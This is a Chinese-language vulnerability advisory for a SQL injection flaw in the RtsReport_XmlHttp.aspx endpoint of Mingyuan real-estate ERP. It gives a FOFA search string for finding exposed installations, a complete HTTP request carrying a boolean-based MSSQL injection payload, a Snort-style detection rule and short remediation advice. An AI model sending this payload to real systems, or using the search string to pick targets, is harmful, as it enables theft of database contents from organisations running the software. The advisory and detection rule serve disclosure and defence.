

明源地产ERP RtsReport_XmlHttp.aspx 存在SQL注入漏洞

明源地产ERP RtsReport_XmlHttp.aspx 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

明源地产ERP

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="/_common/scripts/md5-min.js"

POC/EXP：

```
GET /Report/RtsReport_XmlHttp.aspx/?
ywtype=SaveGeneralParam&RptID=1%27%2B(SELECT%20CHAR(65)%2BCHAR(119)%2BCHAR(102)%2
BCHAR(103)%20WHERE%204294%3D4294%20AND%203472%20IN%20(SELECT%20(CHAR(113)%2BCHAR(
107)%2BCHAR(106)%2BCHAR(113)%2BCHAR(113)%2B(SELECT%20(CASE%20WHEN%20(3472%3D3472)
%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))%2BCHAR(113)%2BCHAR(107)%2BCHAR(98)%2
BCHAR(118)%2BCHAR(113))))%2B%27 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:140.0) Gecko/20100101
Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```



sonrt规则：

```
alert http any any -> $HOME_NET any (
  msg:"MingYuan ERP - MSSQL Boolean-Based SQLi in RtsReport_XmlHttp.aspx";
  flow:to_server,established;
  http.method; content:"GET";
  http.uri; content:"/Report/RtsReport_XmlHttp.aspx/";
  http.uri; pcre:"/RptID=[^&]*'%2B\\(SELECT\\s+CHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)\\s+WHERE\\s+\\d+%3D\\d+\\s+AND\\s+\\d+\\s+IN\\s+\\(SELECT\\s+\\(CHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2B\\(SELECT\\s+\\(CASE\\s+WHEN\\s+\\(\\d+%3D\\d+\\)\\s+THEN\\s+CHAR\\(\\d+\\)\\s+ELSE\\s+CHAR\\(\\d+\\)\\s+END\\)\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)%2BCHAR\\(\\d+\\)\\)\\)%2B'/i";
  metadata:service http;
  metadata:affected_product "思源地产ERP系统";
  metadata:vulnerability_type "MSSQL Boolean-Based SQL Injection";
  classtype:sql-injection;
  sid:1000431;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。